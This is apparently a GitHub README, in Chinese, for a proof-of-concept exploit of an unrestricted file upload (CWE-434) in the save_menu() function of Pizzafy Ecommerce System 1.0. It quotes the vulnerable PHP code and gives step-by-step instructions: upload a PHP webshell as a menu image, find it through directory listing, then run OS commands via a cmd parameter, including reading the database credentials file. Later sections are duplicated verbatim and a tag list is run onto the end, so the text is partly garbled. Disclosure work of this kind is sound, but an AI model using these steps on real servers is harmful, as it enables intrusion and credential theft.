Xmyronn/CVE-2026-7393-RCE
GitHub: Xmyronn/CVE-2026-7393-RCE
针对 Pizzafy Ecommerce System 1.0 的 save_menu() 函数无限制文件上传漏洞的 PoC,演示如何通过上传 PHP webshell 实现远程代码执行。
Stars: 0 | Forks: 0
# Pizzafy Ecommerce System 1.0 – save_menu() 中的无限制文件上传导致远程代码执行
## 详情
| 字段 | 值 |
|---|---|
| **供应商** | SourceCodester |
| **供应商 URL** | https://www.sourcecodester.com |
| **产品** | Pizzafy Ecommerce System using PHP and MySQL |
| **产品 URL** | https://www.sourcecodester.com/php/18708/pizzafy-ecommerce-system.html |
| **版本** | 1.0 |
| **漏洞** | 无限制文件上传 → 远程代码执行 |
| **CWE** | CWE-434 |
| **CVSSv3 评分** | 7.8 (高危) |
| **攻击向量** | 网络 |
| **需要身份验证** | 是 (管理员) |
| **用户交互** | 无 |
| **研究员** | Imad Alvi |
| **日期** | 2026-04-12 |
## 受影响的组件
**文件:** `Pizzafy/admin/admin_class_novo.php` → `save_menu()` 函数
**参数:** `img` (FILE)
**上传路径:** `Pizzafy/assets/img/`
## 描述
Pizzafy Ecommerce System 1.0 中的 `save_menu()` 函数在处理菜单项的图片上传时,没有执行任何文件类型验证。应用程序使用 `pathinfo()` 获取文件扩展名,但在将上传的文件移动到可通过 Web 访问的 `assets/img/` 目录之前,从未真正检查或限制允许的文件类型。通过身份验证的管理员可以上传一个伪装成菜单图片的 PHP webshell,然后通过浏览器直接访问它,从而在服务器上实现远程代码执行。
**`admin_class_novo.php` 中的漏洞代码:**
```
function save_menu(){
extract($_POST);
// ...
if($_FILES['img']['tmp_name'] != ''){
$fname = strtotime(date('y-m-d H:i')).'_'.$_FILES['img']['name'];
$move = move_uploaded_file($_FILES['img']['tmp_name'],'../assets/img/'. $fname);
$data .= ", img_path = '$fname' ";
}
// No extension check, no MIME type check
}
```
## 概念验证
### 步骤 1 — 创建 PHP Webshell
创建一个名为 `shell_web2.php` 的文件,内容如下:
```
```
### 步骤 2 — 通过菜单管理上传 Webshell
以管理员身份登录并导航至:
```
http://localhost/pizzafy/Pizzafy/admin/index.php?page=menu
```
在菜单表单中填写任意有效值,并选择 `shell_web2.php` 作为 Image 文件。点击 **Save**。
该 shell 现在作为菜单项列在面向客户的页面上。
### 步骤 3 — 定位上传的 Shell
导航至 assets 目录——目录列表已启用 (CWE-548):
```
http://192.168.0.9/pizzafy/Pizzafy/assets/img/
```
上传的 PHP shell 在目录列表中可见。
### 步骤 4 — 执行远程命令
直接访问上传的 shell,并通过 `cmd` 参数传递系统命令:
```
http://192.168.0.9/pizzafy/Pizzafy/assets/img/1775994120_shell_web2.php?cmd=whoami
```
**响应——在服务器上执行了 OS 命令:**
```
desktop-g1i9np3\dell
```
## 附加命令
```
?cmd=whoami
?cmd=ipconfig
?cmd=dir C:\xampp\htdocs\pizzafy
?cmd=type C:\xampp\htdocs\pizzafy\Pizzafy\admin\db_connect.php
```
## 影响
通过身份验证的管理员可以:
- 将任意 PHP 文件上传到 Web 服务器
- 在服务器上执行任何 OS 级别的命令
- 读取敏感文件,包括数据库凭证
- 建立反向 shell 以获取完整的持久访问权限
- 彻底破坏底层服务器
## 关于目录列表的说明 (CWE-548)
`assets/img/` 目录启用了目录列表,允许未经身份验证的用户浏览所有上传的文件,包括 webshell。这加剧了文件上传漏洞的严重性。
## 参考
- [SourceCodester — Pizzafy Ecommerce System](https://www.sourcecodester.com/php/18708/pizzafy-ecommerce-system.html)
- CWE-434:危险类型文件的无限制上传
- CWE-548:通过目录列表暴露信息。
该 shell 现在作为菜单项列在面向客户的页面上。
### 步骤 3 — 定位上传的 Shell
导航至 assets 目录——目录列表已启用 (CWE-548):
```
http://192.168.0.9/pizzafy/Pizzafy/assets/img/
```
上传的 PHP shell 在目录列表中可见。
### 步骤 4 — 执行远程命令
直接访问上传的 shell,并通过 `cmd` 参数传递系统命令:
```
http://192.168.0.9/pizzafy/Pizzafy/assets/img/1775994120_shell_web2.php?cmd=whoami
```
**响应——在服务器上执行了 OS 命令:**
```
desktop-g1i9np3\dell
```
## 附加命令
```
?cmd=whoami
?cmd=ipconfig
?cmd=dir C:\xampp\htdocs\pizzafy
?cmd=type C:\xampp\htdocs\pizzafy\Pizzafy\admin\db_connect.php
```
## 影响
通过身份验证的管理员可以:
- 将任意 PHP 文件上传到 Web 服务器
- 在服务器上执行任何 OS 级别的命令
- 读取敏感文件,包括数据库凭证
- 建立反向 shell 以获取完整的持久访问权限
- 彻底破坏底层服务器
## 关于目录列表的说明 (CWE-548)
`assets/img/` 目录启用了目录列表,允许未经身份验证的用户浏览所有上传的文件,包括 webshell。这加剧了文件上传漏洞的严重性。
## 参考
- [SourceCodester — Pizzafy Ecommerce System](https://www.sourcecodester.com/php/18708/pizzafy-ecommerce-system.html)
- CWE-434:危险类型文件的无限制上传
- CWE-548:通过目录列表暴露信息。标签:CISA项目, CWE-434, PHP安全, RCE, SourceCodester, Webshell, Web安全, 后门, 子域名枚举, 文件上传漏洞, 无限制文件上传, 漏洞分析, 电商平台, 管理员权限, 系统安全, 编程工具, 蓝队分析, 路径探测, 远程代码执行, 高危漏洞